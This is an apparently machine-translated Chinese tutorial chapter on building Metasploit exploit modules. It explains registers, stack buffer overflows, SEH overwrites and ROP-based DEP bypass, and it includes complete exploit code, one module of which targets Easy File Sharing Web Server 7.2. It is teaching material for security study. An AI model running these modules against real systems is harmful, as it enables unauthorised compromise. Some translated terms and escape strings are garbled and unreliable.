本章介绍如何创建利用模块,并帮助理解内置 Metasploit 实用程序如何改进创建过程。在本章中,我们将介绍各种示例漏洞,并尝试开发利用这些漏洞的方法和方法。除此之外,我们的主要重点将是为 Metasploit 构建利用模块。我们还将介绍各种各样的工具,这些工具将有助于在 Metasploit 中编写漏洞。开发写作的一个重要方面是计算机体系结构。如果我们不包括架构的基础知识,我们将无法理解在较低级别上如何利用漏洞。因此,让我们首先开始讨论系统架构和编写漏洞利用所需的要点。
在本章结束时,我们将了解有关以下主题的更多信息:
- 开发发展阶段
- 编写漏洞利用时要考虑的参数
- 各种寄存器如何工作
- 如何对软件进行模糊化
- 如何在 Metasploit 框架中编写漏洞利用
- 使用 Metasploit 绕过保护机制
在本节中,我们将介绍开发所需的最关键组件。我们将讨论不同体系结构中支持的各种寄存器。我们还将讨论扩展指令指针(EIP)和扩展堆栈指针(ESP),以及它们在编写漏洞利用中的重要性。我们还将了解无操作(NOP)和跳转(JMP)指令以及它们在编写各种软件漏洞利用中的意义。
让我们介绍一下学习写作时需要的基础知识。
以下术语基于开发中的硬件、软件和安全观点:
- 寄存器:处理器上用于存储信息的区域。此外,处理器还利用寄存器处理进程执行、内存操作、API 调用等。
- x86:这是一个系统体系结构家族,主要存在于基于 Intel 的系统上,通常是 32 位系统,而 x64 是 64 位系统。
- 汇编语言:这是一种操作简单的低级编程语言。然而,读取汇编代码并维护它是一个很难解决的问题。
- 缓冲区:缓冲区是程序中固定的内存保持器,它将数据存储到堆栈或堆中,具体取决于它们所持有的内存类型。
- 调试器:调试器允许对可执行文件进行分步分析,包括停止、重新启动、中断和操作进程内存、寄存器、堆栈等。广泛使用的调试器有免疫调试器、GDB 和 OllyDbg。
- 外壳代码:用于在目标系统上执行的机器语言。历史上,它被用来运行 shell 进程,从而授予攻击者对系统的访问权限。因此,外壳代码是处理器理解的一组指令。
- 堆栈:作为数据的占位符,使用后进先出(后进先出方式)进行存储,即最后插入的数据是第一个被删除的数据。
- 堆:堆是一个主要用于动态分配的内存区域。与堆栈不同,我们可以在任何给定时间分配、释放和阻塞。
- 缓冲区溢出:这意味着缓冲区中提供的数据多于其容量。
- 格式字符串错误:这些错误与文件或控制台上下文中的打印语句有关,当给定一组可变数据时,可能会泄露有关程序的宝贵信息。
- 系统调用:这些是对正在执行的程序调用的系统级方法的调用。
体系结构定义了系统的各个组件的组织方式。让我们先了解必要的组件,然后深入到高级阶段。
在我们开始编写程序和执行其他任务(如调试)之前,让我们借助下图了解组件在系统中的组织方式:
我们可以清楚地看到,系统中的每个主要部件都是通过系统总线连接的。因此,在CPU、存储器和I/O 设备之间发生的每个通信都是通过系统总线进行的。
CPU 是系统中的中央处理单元,它确实是系统中最重要的组件。因此,让我们通过理解下图来了解 CPU 中的事物是如何组织的:
上图显示了一个CPU的基本结构,包括控制单元(CU)、执行单元(EU)寄存器和标志等组件。让我们了解一下这些组件是什么,如下表所示:
| 组件 | 工作 | | 控制单元 | 控制单元负责接收和解码指令,并将数据存储在存储器中 | | 执行单位 | 执行单元是实际执行发生的地方 | | 登记册 | 寄存器是辅助执行的占位符内存变量 | | 旗帜 | 这些用于指示执行时发生的事件 |
寄存器是高速计算机内存部件。它们也列在内存层次结构速度表的顶部。我们通过寄存器能容纳的位数来测量寄存器;例如,8 位寄存器和 32 位寄存器分别保存 8 位和 32 位内存。通用、段、EFLAGS和索引寄存器是我们在系统中拥有的不同类型的相关寄存器。它们负责执行系统中几乎所有的功能,因为它们保存所有要处理的值。让我们看看它们的类型:
| 寄存器 | 目的 | | EAX | 这是一个累加器,用于存储数据和操作数。它的大小是 32 位。 | | EBX | 这是基址寄存器和指向数据的指针。它的大小是 32 位。 | | ECX | 这是一个计数器,用于循环。它的大小是 32 位。 | | EDX | 这是一个数据寄存器,存储 I/O 指针。它的大小是 32 位。 | | ESI/EDI | 这些是用作内存操作数据指针的索引寄存器。它们的大小也是 32 位。 | | ESP | 该寄存器指向堆栈的顶部,当从堆栈中推送或弹出项时,其值将发生更改。它的大小是 32 位。 | | EBP | 这是堆栈数据指针寄存器,大小为 32 位。 | | 公网 IP | 这是指令指针,大小为 32 位,是本章中最关键的指针。它还保存下一条要执行的指令的地址。 | | SS、DSE、CS、FS 和 GS | 这些是段寄存器。它们的大小为 16 位。 |
缓冲区溢出漏洞是一种异常情况,在向缓冲区写入数据时,它会超出缓冲区大小并覆盖内存地址。下图显示了缓冲区溢出的基本示例:
上图左侧显示了应用的外观。但是,右侧表示满足缓冲区溢出条件时应用的行为。
那么,我们如何利用缓冲区溢出漏洞呢?答案很简单。如果我们知道在 EIP(指令指针)开始之前覆盖所有内容的确切数据量,我们可以将任何内容放入 EIP 并控制下一条要处理的指令的地址。
因此,第一件事是在 EIP 开始之前计算出一个准确的字节数,该字节数足以填充所有内容。在接下来的章节中,我们将看到如何使用 Metasploit 实用程序找到确切的字节数。
我们将使用自定义的易受攻击的应用,该应用使用不安全的函数。让我们尝试从命令 shell 运行应用,如下所示:
我们可以看到,这是一个小型示例应用,它侦听 TCP 端口200
。我们将通过端口200
上的 Telnet 连接到此应用,并向其提供随机数据,如以下屏幕截图所示:
提供数据后,我们将看到与目标的连接丢失。这是因为应用服务器已崩溃。让我们看看它在目标系统上是什么样子:
单击此处调查错误报告时,我们可以看到以下信息:
崩溃的原因是应用无法处理位于 4141 的下一条指令的地址。这有什么意义吗?值 41 是字符 A 的十六进制表示形式。发生的情况是,我们的输入扩展到缓冲区的边界,继续覆盖 EIP 寄存器。因此,由于下一条指令的地址被覆盖,程序尝试在 4141 处查找下一条指令的地址,该地址不是有效地址。因此,它坠毁了。
从下载我们在示例中使用的示例应用 http://redstack.net/blog/category/How%20To.html 。
要利用应用并访问目标系统,我们需要了解下表中列出的内容:
| 组件 | 使用 | | 抵消 | 我们在上一节中使应用崩溃。然而,为了开发该应用,我们需要输入的精确大小足以填充空间+EBP 寄存器,以便我们在输入后提供的任何内容都直接进入 EIP 寄存器。我们将在 EIP 注册之前足够好的数据量称为偏移量。 | | 跳转地址/Ret | 这是要在 EIP 寄存器中覆盖的实际地址。为了澄清,这是来自 DLL 文件的 JMP ESP 指令的地址,该 DLL 文件有助于跳转到有效负载。 | | 坏角色 | 坏字符是指可能导致有效负载终止的字符。假设通过网络发送包含空字节(0x00)的外壳代码。它将提前终止缓冲区,导致意外结果。应该避免使用坏字符。 |
让我们借助下图了解此应用的开发部分:
查看上图,我们必须执行以下步骤:
- 在 EIP 寄存器开始之前,使用用户输入覆盖缓冲区和 EBP 寄存器。足够好的值将是偏移值。
- 使用相关 DLL 中的 JMP ESP 地址覆盖 ESP。
- 在有效负载之前提供一些衬垫,以消除不规则现象。
- 最后,提供要执行的外壳代码。
在下一节中,我们将详细介绍所有这些步骤。
正如我们在上一节中所看到的,开发的第一步是找出偏移量。Metasploit 通过使用两种不同的工具(称为pattern_create
和pattern_offset
)来辅助这一过程。
在上一节中,我们看到通过提供任意数量的A
字符,我们能够使应用崩溃。然而,我们已经了解到,要构建一个有效的漏洞,我们需要计算出这些角色的确切数量。Metasploit 的内置工具pattern_create
可以很快为我们实现这一点。它生成可以提供的模式,而不是A
字符,并且基于重写 EIP 寄存器的值,我们可以使用其对应工具pattern_offset
快速计算出确切的字节数。让我们看看如何做到这一点:
我们可以看到,从/tools/exploit/
目录运行pattern_create.rb
脚本,模式为 1000 字节,将生成前面的输出。此输出可以馈送到易受攻击的应用,如下所示:
查看目标的端点,我们可以看到偏移值,如以下屏幕截图所示:
我们有 72413372 作为覆盖 EIP 寄存器的地址。
在上一节中,我们用 72413372 重写了 EIP 地址。让我们计算一下使用pattern_offset
工具覆盖 EIP 所需的确切字节数。这个工具有两个参数;第一个是地址,第二个是长度,即使用pattern_create
生成的1000
。让我们找出偏移量,如下所示:
精确的匹配结果是 520。因此,520 个字符后的任何 4 个字节将成为 EIP 寄存器的内容。
让我们回顾一下用于再次理解利用漏洞的图表,如下所示:
我们完成了上图中的第一步。我们的下一个任务是找到 JMP ESP 地址。我们需要 JMP ESP 指令的地址,因为我们的有效负载将加载到 ESP 寄存器,并且我们不能在覆盖缓冲区后仅指向有效负载。因此,我们需要来自外部 DLL 的 JMP ESP 指令的地址,这将要求程序跳转到 ESP 的内容,该内容位于有效负载的开始处。
为了找到跳转地址,我们需要一个调试器,这样我们就可以看到哪些 DLL 文件加载了易受攻击的应用。在我看来,最好的选择是免疫调试器。免疫调试器附带了大量插件,可帮助编写漏洞攻击。
免疫调试器是一个帮助我们在运行时发现应用行为的应用。它还帮助我们识别缺陷、寄存器的值、对应用进行反向工程等等。在免疫调试器中分析应用不仅有助于我们更好地理解各种寄存器中包含的值,还将告诉我们有关目标应用的各种信息,例如发生崩溃的指令以及链接到可执行文件的可执行模块。
通过从“文件”菜单中选择“打开”,可以将可执行文件直接加载到调试器中。我们还可以通过从“文件”菜单中选择“附加”选项将正在运行的应用的进程附加到调试器来附加该应用。当我们导航到 File | Attach 时,它将向我们显示目标系统上正在运行的进程的列表。我们只需要选择合适的流程。然而,这里的一个重要问题是,当进程连接到免疫调试器时,默认情况下,它会以暂停状态登录。因此,请确保按“播放”按钮将进程的状态从暂停更改为运行状态。让我们设想一下如何将进程附加到调试器:
按下“附加”按钮后,通过导航到“查看”并选择“可执行模块”选项,查看哪些 DLL 文件加载了易受攻击的应用。我们将看到以下 DLL 文件列表:
现在我们已经有了 DLL 文件的列表,我们需要从其中一个找到 JMP ESP 地址。
在上一节中,我们找到了与易受攻击的应用关联的 DLL 模块。我们可以使用免疫调试器查找 JMP ESP 指令的地址,这是一个漫长而耗时的过程,或者我们可以使用msfpescan
从 DLL 文件中搜索 JMP ESP 指令的地址,这是一个更快的过程,并且消除了手动搜索。
运行msfpescan
给我们以下输出:
Kali Linux 附带的默认 Metasploit 安装中可能不存在msfbinscan
和msfrop
等实用程序。切换到 Ubuntu 并手动安装 Metasploit 以获取这些实用程序。
我们可以执行多种任务,例如查找基于 SEH 的缓冲区溢出的 POP-POP-RET 指令地址、在特定地址显示代码,以及使用msfpescan
执行更多任务。我们只需要找到 JMP ESP 指令的地址。我们可以通过使用-j
开关,后跟寄存器名,即 ESP 来实现这一点。让我们开始搜索ws2_32.dll
文件以查找 JMP ESP 地址:
命令的结果返回了0x71ab9372
。这是ws2_32.dll
文件中 JMP ESP 指令的地址。我们只需要用这个地址覆盖 EIP 寄存器,执行跳转到驻留在 ESP 寄存器中的外壳代码。
让我们修改开发图,了解我们在开发过程中的具体位置:
我们已经完成了第二步。然而,这里的一个重要点是,有时外壳代码的前几个字节可能由于不规则而被剥离,并且外壳代码可能无法执行。在这种情况下,我们将使用前缀 NOP 填充外壳代码,以便外壳代码的执行可以完美地进行。
假设我们发送ABCDEF
到 ESP,但是当我们使用免疫调试器分析它时,我们得到的内容仅为DEF
。在本例中,我们缺少三个字符。因此,我们将使用三个 NOP 字节或其他随机数据填充有效负载。
让我们看看是否需要为这个易受攻击的应用填充外壳代码:
在前面的屏幕截图中,我们根据缓冲区大小的值创建了数据。我们知道偏移量是520
。因此,我们以小端格式提供了520
后跟 JMP ESP 地址,并附带随机文本;也就是说,ABCDEF
。发送此数据后,我们将分析免疫调试器中的 ESP 寄存器,如下所示:
我们可以看到随机文本ABCDEF
中的字母A
丢失了。因此,我们只需要一个字节填充来实现对齐。在外壳代码之前用几个额外的 NOP 填充空格是一种很好的做法,以避免外壳代码解码和不规则的问题。
NOP 或 NOP sled 不是仅将程序执行滑动到下一个内存地址的操作指令。我们使用 NOP 到达内存地址中所需的位置。我们通常在外壳代码开始之前提供 NOP,以确保它在内存中成功执行,同时不执行任何操作,只在内存地址中滑动。\x90
指令表示十六进制格式的 NOP 指令。
有时可能会发生这样的情况:在正确设置了所有要利用的内容之后,我们可能永远无法利用该系统。或者,我们的攻击可能成功执行,但负载无法运行。这可能发生在目标系统截断或不正确解析攻击中提供的数据,从而导致意外行为的情况下。这将使整个漏洞无法使用,我们将努力将 shell 或 meterpeter 安装到系统中。在这种情况下,我们需要确定阻止执行的错误字符。我们可以通过查找匹配的相似利用模块并在利用模块中使用这些模块中的坏字符来避免这种情况。
我们需要在漏洞的Payload
部分定义这些坏字符。让我们看一个例子:
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
上一节摘自/exploit/windows/ftp
下的freeftpd_user.rb
文件。列出的选项建议有效负载的空间应小于800
字节,并且有效负载应避免使用0x00
、0x20
、0x0a
和0x0d
,它们分别是空字节、空格、换行符和回车符。
有关查找错误字符的更多信息,请访问:http://resources.infosecinstitute.com/stack-based-buffer-overflow-in-win-32-platform-part-6-dealing-with-bad-characters-jmp-instruction/ 。
Payload field
中的Space
变量定义为外壳代码保留的总大小。我们需要分配足够的空间来容纳Payload
。如果Payload
较大且分配的空间小于有效负载的外壳代码,则不会执行。此外,在编写自定义漏洞利用时,外壳代码应该尽可能小。我们可能会遇到这样的情况:可用空间仅为 200 字节,但可用外壳代码至少需要 800 字节的空间。在这种情况下,我们可以在缓冲区中安装一个小的第一阶段外壳代码,它将执行并下载第二个更大的阶段来完成利用。
有关各种有效载荷的较小外壳代码,请访问:http://shell-storm.org/shellcode/ 。
让我们回顾一下我们的开发过程图,并检查我们是否能够完成模块:
我们可以看到,我们已经具备了开发 Metasploit 模块的所有基本要素。这是因为有效载荷的生成在 Metasploit 中是自动化的,并且可以动态更改。那么,让我们开始:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Stack Based Buffer Overflow Example',
'Description' => %q{
Stack Based Overflow Example Application Exploitation Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 1000,
'BadChars' => "\x00\xff",
},
'Targets' =>
[
['Windows XP SP2',{ 'Ret' => 0x71AB9372, 'Offset' => 520}]
],
'DisclosureDate' => 'Mar 04 2018'
))
register_options(
[
Opt::RPORT(200)
])
end
在开始编写代码之前,让我们先看看本模块中使用的库:
| 包含报表 | 路径 | 用法 |
| Msf::Exploit::Remote::Tcp
| /lib/msf/core/exploit/tcp.rb
| TCP 库文件提供基本的 TCP 功能,如连接、断开连接、写入数据等 |
与我们在第 12 章重塑 Metasploit中构建模块的方式相同,利用模块首先包括必要的库路径,然后包括这些路径中所需的文件。我们将模块类型定义为Msf::Exploit::Remote
,表示远程攻击。接下来,我们有initialize
构造函数方法,其中定义了名称、描述、作者信息等。然而,我们可以在initialize
方法中看到很多新的声明。让我们看看它们是什么:
| 声明 | 值 | 用法 |
| Platform
| win
| 定义利用漏洞攻击的目标平台类型。赢得的价值表示该漏洞可在基于 Windows 的操作系统上使用。 |
| disclosure date
| Mar 04 2018
| The date of disclosure of the vulnerability. |
| Targets
| Ret
| The Ret
field for a particular OS defines the JMP ESP address we found in the previous section. |
| 0x71AB9372
|
| Targets
| Offset
| The Offset
field for a particular OS defines the number of bytes required to fill the buffer just before overwriting the EIP. We found this value in the previous section. |
| 520
|
| Payload
| space
| The space
variable in the payload declaration defines the amount of maximum space the payload can use. This is relatively important since sometimes we have insufficient space to load our shellcode. |
| 1000
|
| Payload
| BadChars
| The BadChars
variable in the payload declaration defines the bad characters to avoid in the payload generation process. The practice of declaring bad characters will ensure stability and removal of bytes that may cause the application to crash or no execution of the payload to take place. |
| \x00\xff
|
We also define the default port for the exploit module as 200
in the register_options
section. Let's have a look at the remaining code:
def exploit
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(30) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
Let's understand some of the important functions used in the preceding code:
| Function | Library | Usage |
| make_nops
| /lib/msf/core/exploit.rb
| 此方法通过将n
作为计数来创建n
个 NOP |
| Connect
| /lib/msf/core/exploit/tcp.rb
| 调用此方法以建立到目标的连接 |
| disconnect
| /lib/msf/core/exploit/tcp.rb
| 调用此方法以断开与目标的现有连接 |
| handler
| /lib/msf/core/exploit.rb
| 这会将连接传递到关联的有效负载处理程序,以检查利用漏洞是否成功以及是否建立了连接 |
我们在上一节中看到,run
方法被用作辅助模块的默认方法。然而,对于漏洞利用,exploit
方法被认为是默认的主要方法。
我们首先使用connect
连接到目标。使用make_nops
函数,我们通过传递initialize
部分中定义的target
声明的Offset
字段,创建了 520 个 NOP。我们将这 520 个 NOP 存储在buf
变量中。在下一条指令中,我们通过从target
声明的Ret
字段获取其值,将 JMP ESP 地址附加到buf
。使用pack('V')
,我们得到地址的小端格式。除了Ret
地址之外,我们还附加了一些 NOP 作为外壳代码之前的填充。使用 Metasploit 的优点之一是能够动态切换有效负载。因此,只需使用payload.encoded
添加有效负载,即可将当前选择的有效负载添加到buf
变量中。
接下来,我们使用sock.put
将buf
的值直接发送给连接的目标。我们运行 handler 方法来检查目标是否被成功利用,以及是否与之建立了连接。最后,我们只是使用disconnect
断开与目标的连接。让我们看看是否可以利用该服务:
我们将所需选项和有效负载设置为windows/meterpreter/bind_tcp
,这表示直接连接到目标。我们可以看到,最初,我们的攻击已经完成,但没有创建会话。此时,我们通过编辑漏洞代码将坏字符从\x00\xff
更改为\x00\x0a\x0d\x20
,如下所示:
我们可以使用edit
命令直接从 Metasploit 修改模块。默认情况下,文件将加载到 VI 编辑器中。但是,如果你不比我好,你将坚持使用 nano 编辑器并进行更改。一旦我们更改了模块,就必须将其重新加载到 Metasploit。对于我们目前正在使用的模块,我们可以使用reload
命令重新加载它,如上图所示。重新运行模块,我们可以轻松地访问目标。现在我们已经成功地完成了第一个利用模块,在下一个示例中,我们将跳转到更高级的利用模块。
异常处理程序是捕获程序执行期间生成的异常和错误的代码模块。这允许程序继续执行而不是崩溃。Windows 操作系统有默认的异常处理程序,我们通常在应用崩溃并抛出一个弹出窗口,显示XYZ 程序遇到错误并需要关闭时看到它们。当程序生成异常时,将从堆栈中加载并调用 catch 代码的等效地址。但是,如果我们设法覆盖处理程序捕获代码堆栈中的地址,我们将能够控制应用。让我们看看当应用使用异常处理程序实现时,堆栈中的内容是如何排列的:
在上图中,我们可以看到堆栈中有 catch 块的地址。在右边,我们还可以看到,当我们向程序提供足够的输入时,它也会覆盖堆栈中 catch 块的地址。因此,我们可以使用 Metasploit 中的pattern_create
和pattern_offset
工具轻松找到覆盖 catch 块地址的偏移量值。让我们看一个例子:
我们创建了一个由4000
字符组成的模式,并使用TELNET
命令将其发送给目标。让我们在调试器中查看应用的堆栈:
我们可以在应用的堆栈窗格中看到 SE 处理程序的地址被45346E45
覆盖。让我们使用pattern_offset
来找到精确的偏移量,如下所示:
我们可以看到正确的匹配在3522
。然而,这里需要注意的一点是,根据 SEH 框架的设计,我们有以下组件:
SEH 记录包含第一个4
字节作为下一个 SEH 处理程序的地址,下一个4
字节作为 catch 块的地址。一个应用可能有多个异常处理程序。因此,特定 SEH 记录将前 4 个字节存储为下一个 SEH 记录的地址。让我们看看如何利用 SEH 记录:
-
我们将在应用中引发异常,以便调用异常处理程序。
-
我们将用 POP/POP/RETN 指令的地址覆盖 catch handler 字段的地址。这是因为我们需要将执行切换到下一个 SEH 帧的地址(catch 处理程序地址前 4 个字节)。我们将使用 POP/POP/RET,因为保存 catch 块调用的内存地址存储在堆栈中,而指向下一个处理程序的指针地址位于 ESP+8(ESP 称为堆栈顶部)。因此,两个 POP 操作将把执行重定向到 4 字节的开头,4 字节是下一个 SEH 记录的地址。
-
在第一步中提供输入时,我们将用 JMP 指令覆盖下一个 SEH 帧的地址到我们的有效负载。因此,当第二步完成时,执行将跳转指定数量的字节到外壳代码。
-
成功跳转到外壳代码将执行有效负载,我们将获得对目标的访问权限。
让我们借助下图了解这些步骤:
在上图中,当发生异常时,它调用处理程序的地址(已被 POP/POP/RET 指令的地址覆盖)。这会导致执行 POP/POP/RET,并将执行重定向到下一条 SEH 记录的地址(已被短跳转覆盖)。因此,当 JMP 执行时,它指向外壳代码,应用将其视为另一个 SEH 记录。
现在,我们已经熟悉了基础知识,让我们看看开发基于 SEH 漏洞的有效利用所需的基本要素:
| 组件 | 使用 | | 抵消 | 在该模块中,偏移量指的是输入的准确大小,足以覆盖 catch 块的地址。 | | POP/POP/RET 地址 | 这是 DLL 中 POP-POP-RET 序列的地址。 | | 跳远指令 | 要转到外壳代码的开头,我们需要对指定的字节数进行短跳转。因此,需要一个短跳转指令。 |
我们已经知道,我们需要一个有效负载、一组要防止的坏字符、空间因素等等。
Easy File Sharing Web Server 7.2 应用是一个在请求处理部分存在漏洞的 Web 服务器,恶意的 HEAD 请求可能会导致缓冲区溢出并覆盖 SEH 链中的地址。
我们将使用pattern_create
和pattern_offset
工具查找偏移量,就像我们之前将易受攻击的应用附加到调试器时所做的那样。让我们看看如何实现这一点:
我们创造了一个10000
字符的模式。现在,让我们将该模式提供给端口80
上的应用,并在调试器中分析其行为。我们将看到应用停止。让我们通过从菜单栏导航到视图并选择 SEH chain 来查看 SEH chain:
单击 SEH chain 选项,我们将能够看到覆盖的捕获块地址和下一个 SEH 记录字段的地址,这些字段被我们提供的数据覆盖:
让我们查找到下一个 SEH 帧地址的偏移量和到 catch 块地址的偏移量,如下所示:
我们可以看到,包含到下一个 SEH 记录的内存地址的 4 个字节从4061
字节开始,到 catch 块的偏移量在这 4 个字节之后开始;也就是从4065
开始。
如前所述,我们将需要 POP/POP/RET 指令的地址,以便在下一个 SEH 帧记录中加载地址并跳转到有效负载。我们知道需要从外部 DLL 文件加载地址。但是,大多数最新的操作系统都使用 SafeSEH 保护编译其 DLL 文件。因此,我们将需要来自 DLL 模块的 POP/POP/RET 指令的地址,这不是用 SafeSEH 机制实现的。
示例应用在以下HEAD
请求时崩溃;也就是说,HEAD
后接pattern_create
工具创建的垃圾模式,该模式后接HTTP/1.0rnrn
。
Mona 脚本是一个 Python 驱动的免疫调试器插件,提供了多种利用选项。脚本可从以下位置下载:https://github.com/corelan/mona/blob/master/mona.py 。通过将脚本放入\Program Files\Immunity Inc\Immunity Debugger\PyCommands
目录,可以很容易地安装脚本。
现在让我们使用 Mona 并运行!mona modules
命令来分析 DLL 文件,如下所示:
我们可以从前面的屏幕截图中看到,我们只有很少的 DLL 文件,它们不是用 SafeSEH 机制实现的。让我们使用这些文件来查找 POP/POP/RET 指令的相关地址。
有关 Mona 脚本的更多信息,请访问:https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ 。
我们可以使用-s
开关通过msfpescan
轻松找到 POP/POP/RET 指令序列。我们在ImageLoad.dll
文件中使用它,如下所示:
让我们使用一个安全地址,消除任何可能导致 HTTP 协议问题的地址,例如连续重复零,如下所示:
我们将使用0x10019798
作为 POP/POP/RET 地址。我们现在有两个用于编写漏洞的关键组件,它们是偏移量和要加载到 catch 块的地址,catch 块是 POP/POP/RET 指令的地址。我们只需要短跳转指令,它将被加载到下一条 SEH 记录的地址中,这将帮助我们跳转到外壳代码。Metasploit 库将使用内置函数为我们提供跳转指令。
现在我们已经有了利用目标应用的所有重要数据,让我们继续在 Metasploit 中创建一个利用模块,如下所示:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This module demonstrate SEH based overflow example
},
'Author' => 'Nipun',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'RPORT' => 80,
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798, 'Offset' => 4061 } ],
],
'DisclosureDate' => 'Mar 4 2018',
'DefaultTarget' => 0))
end
在使用了各个模块的头部分之后,我们首先包括库文件的必需部分。接下来,我们像在前面的模块中一样定义类和模块类型。我们从定义名称、描述、作者信息、许可证信息、有效负载选项、披露日期和默认目标开始initialize
部分。我们在Ret
返回地址变量中使用 POP/POP/RET 指令的地址,在Targets
字段下使用Offset
作为4061
。我们使用了4061
而不是4065
,因为 Metasploit 会自动生成外壳代码的短跳转指令;因此,我们将在4065
字节之前开始 4 个字节,以便短跳转可以放置到下一个 SEH 记录地址的载波中。
在进一步讨论之前,让我们先看看我们将在模块中使用的基本函数。我们已经看到了make_nops
、connect
、disconnect
和handler
的用法:
| 功能 | 图书馆 | 用法 |
| generate_seh_record()
| /lib/msf/core/exploit/seh.rb
| 库 mixin 提供了生成 SEH 记录的方法。 |
让我们继续代码,如下所示:
def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops(19)
weapon << payload.encoded
weapon << " HTTP/1.0rnrn"
sock.put(weapon)
handler
disconnect
end
end
exploit
功能通过连接目标开始。接下来,它通过向HEAD
请求添加4061
NOP 来生成恶意HEAD
请求。接下来,generate_seh_record()
函数生成一个8
字节SEH
记录,其中前 4 个字节构成跳转到有效负载的指令。通常,这 4 个字节包含\xeb\x0A\x90\x90
等指令,\xeb
表示跳转指令,\x0A
表示要跳转的12
字节,\x90\x90 NOP
指令完成 4 个字节的填充。
Metasploit 为使用 NASM shell 编写短汇编代码提供了一个极好的实用工具。我们在上一节中编写了一个小的汇编代码,\xeb\x0a
,它表示 12 个字节的短跳转。但是,在消除了搜索 internet 或切换汇编操作代码的使用之后,我们可以使用 NASM shell 轻松地编写汇编代码。
在前面的示例中,我们有一个简单的汇编调用,它是JMP SHORT 12
。但是,我们不知道哪些操作码与此指令匹配。因此,让我们使用 NASM shell 并了解以下内容:
我们可以在前面的屏幕截图中看到,我们从/usr/share/Metasploit-framework/tools/exploit
目录启动了nasm_shell.rb
,并简单地输入了生成相同操作代码EB0A
的命令,我们前面已经讨论过。因此,我们可以在所有即将到来的开发示例和实践练习中使用 NASM shell,以减少工作量并节省大量时间。
回到主题,Metasploit 允许我们跳过使用generate_seh_record()
函数向有效负载提供跳转指令和字节数的任务。接下来,我们只是在有效负载之前提供一些填充,以克服任何不规则性,并跟随有效负载。我们只是在标题中使用HTTP/1.0\r\n\r\n
完成了请求。最后,我们将存储在可变武器中的数据发送到目标,并调用 handler 方法检查尝试是否成功,然后我们获得了访问目标的权限。
让我们尝试运行该模块并分析其行为,如下所示:
让我们为模块设置所有必需的选项并运行exploit
命令:
猛敲我们成功地利用了目标,即 Windows 7 系统。我们看到了在 Metasploit 中创建 SEH 模块是多么容易。在下一节中,我们将深入探讨绕过 DEP 等安全机制的高级模块。
参见https://github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler 了解 SEH mixin 的更多信息。
数据执行预防(DEP)是一种保护机制,它将内存的特定区域标记为不可执行,当涉及到攻击时不会执行外壳代码。因此,即使我们可以覆盖 EIP 寄存器并将 ESP 指向外壳代码的开头,我们也无法执行有效负载。这是因为 DEP 阻止在内存的可写区域(如堆栈和堆)执行数据。在这种情况下,我们需要使用可执行区域中的现有指令来实现所需的功能。我们可以通过将所有可执行指令按这样的顺序排列,从而使跳转到外壳代码变得可行。
绕过 DEP 的技术称为面向返回的编程(ROP。ROP 与普通堆栈溢出不同,后者只需要覆盖 EIP 并调用外壳代码跳转。启用 DEP 时,我们无法执行此操作,因为堆栈中的数据是不可执行的。在这里,我们将调用第一个 ROP 小工具,而不是跳转到外壳代码,这些小工具的设置方式应该使它们形成一个链式结构,其中一个小工具返回到下一个小工具,而不执行堆栈中的任何代码。
在接下来的部分中,我们将看到如何找到 ROP 小工具,这些小工具是可以在寄存器上执行操作的指令,后面是返回(RET
指令)。查找 ROP 小工具的最佳方法是在加载的模块(DLL)中查找它们。这些小工具组合在一起,从堆栈中一个接一个地获取地址并返回到下一个地址,称为 ROP 链。
我们有一个易受堆栈溢出攻击的示例应用。覆盖 EIP 的偏移值为 2006。让我们看看使用 Metasploit 开发此应用时会发生什么:
我们可以很容易地看到一个米表壳。让我们在 Windows 中通过从系统属性导航到高级系统属性来启用 DEP,如下所示:
我们通过为除我选择的项目和服务之外的所有项目和服务选择打开 DEP 来打开 DEP。让我们重新启动系统并重试利用相同的漏洞,如下所示:
我们可以看到,我们的攻击失败,因为外壳代码没有执行。
您可以从以下位置下载示例应用:http://www.thegreycorner.com/2010/12/introducing-vulnserver.html 。
在接下来的部分中,我们将看到如何使用 Metasploit 绕过 DEP 带来的限制,并获得对受保护系统的访问。让我们保持启用 DEP,将同一易受攻击的应用附加到调试器,并检查其可执行模块,如下所示:
使用 Mona 脚本,正如我们之前所做的那样,我们可以使用!mona modules
命令找到有关所有模块的信息。然而,要构建 ROP 链,我们需要在这些 DLL 文件中找到所有可执行的 ROP 小工具。
Metasploit 提供了一个非常方便的工具来查找 ROP 小工具:msfrop
。它不仅允许我们列出所有 ROP 小工具,还允许我们搜索这些小工具,以找到适合我们所需操作的小工具。假设我们需要查看所有能够帮助我们在ECX
寄存器上执行 pop 操作的小工具。我们可以使用msfrop
来实现这一点,如下所示:
一旦我们提供用于搜索的-s
开关和用于详细输出的-v
开关,我们就开始得到使用 POP ECX 指令的所有小工具的列表。让我们看看结果:
我们可以看到,我们有各种各样的小工具,可以轻松地执行 POP ECX 任务。然而,要构建一个成功的 Metasploit 模块,使其能够在 DEP 存在的情况下利用目标应用,我们需要开发一系列 ROP 小工具,而无需从堆栈中执行任何操作。让我们通过下图了解 DEP 的 ROP 旁通:
